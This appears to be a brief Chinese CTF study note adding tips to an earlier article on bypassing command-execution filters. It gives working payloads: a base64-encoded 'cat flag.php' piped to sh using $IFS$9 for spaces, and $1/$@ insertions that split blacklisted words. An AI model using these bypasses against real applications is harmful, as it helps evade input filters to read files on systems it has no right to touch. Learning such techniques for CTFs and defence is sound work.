主要内容于常见命令执行的一些绕过方式中提及
补充:
1、在base64转换绕过flag的过滤时,bash也被绕过,此时可以使用sh、ash来达到相同目的
比如 :echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
2、在用变量替换字母时,不能做二意性替换,比如flag.php,也就是说只能用变量替换g,如果做如下替换,c=a;cat fl$cg.php被执行时,系统会识别变量为$cg,而不是我们主观上的$c,这一点需要注意。
3、绕过黑名单可以用$1、$2和$@来绕过
ca$1t fla$@g.php